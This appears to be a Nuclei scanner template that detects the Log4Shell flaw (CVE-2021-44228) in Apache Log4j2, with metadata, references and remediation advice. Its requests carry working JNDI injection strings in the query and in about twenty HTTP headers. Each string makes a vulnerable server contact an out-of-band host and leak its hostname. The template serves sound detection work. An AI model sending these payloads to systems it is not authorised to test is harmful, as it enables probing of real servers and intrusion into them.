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id : CVE-2021-44228
info :
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name : Apache Log4j2 Remote Code Injection
2023-04-23 17:42:42 +00:00
author : melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea,j4vaovo
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severity : critical
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description : |
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
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reference :
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- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
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- https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://gist.github.com/bugbountynights/dde69038573db1c12705edb39f9a704a
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remediation : Upgrade to Log4j 2.3.1 (for Java 6), 2.12.3 (for Java 7), or 2.17.0 (for Java 8 and later).
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score : 10
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cve-id : CVE-2021-44228
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cwe-id : CWE-20,CWE-917
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epss-score : 0.97569
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cpe : cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : apache
product : log4j
tags : cve,cve2021,rce,oast,log4j,injection,kev
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variables :
rand1 : '{{rand_int(111, 999)}}'
rand2 : '{{rand_int(111, 999)}}'
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http :
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- raw :
- |
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GET /?x=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
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Host : {{Hostname}}
- |
GET / HTTP/1.1
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Host : {{Hostname}}
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Accept : application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accept.{{interactsh-url}}}
Accept-Encoding : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptencoding.{{interactsh-url}}}
Accept-Language : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptlanguage.{{interactsh-url}}}
Access-Control-Request-Headers : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
Access-Control-Request-Method : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
Authentication : Basic ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbasic.{{interactsh-url}}}
Authentication : Bearer ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbearer.{{interactsh-url}}}
Cookie : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookievalue.{{interactsh-url}}}
Location : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.location.{{interactsh-url}}}
Origin : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.origin.{{interactsh-url}}}
Referer : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.referer.{{interactsh-url}}}
Upgrade-Insecure-Requests : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
User-Agent : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.useragent.{{interactsh-url}}}
X-Api-Version : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}
X-CSRF-Token : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xcsrftoken.{{interactsh-url}}}
X-Druid-Comment : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xdruidcomment.{{interactsh-url}}}
X-Forwarded-For : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xforwardedfor.{{interactsh-url}}}
X-Origin : ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xorigin.{{interactsh-url}}}
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stop-at-first-match : true
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matchers-condition : and
matchers :
- type : word
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part : interactsh_protocol # Confirms the DNS Interaction
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words :
- "dns"
- type : regex
part : interactsh_request
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
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extractors :
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- type : kval
kval :
- interactsh_ip # Print remote interaction IP in output
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- type : regex
group : 2
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
part : interactsh_request
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- type : regex
group : 1
regex :
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- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
part : interactsh_request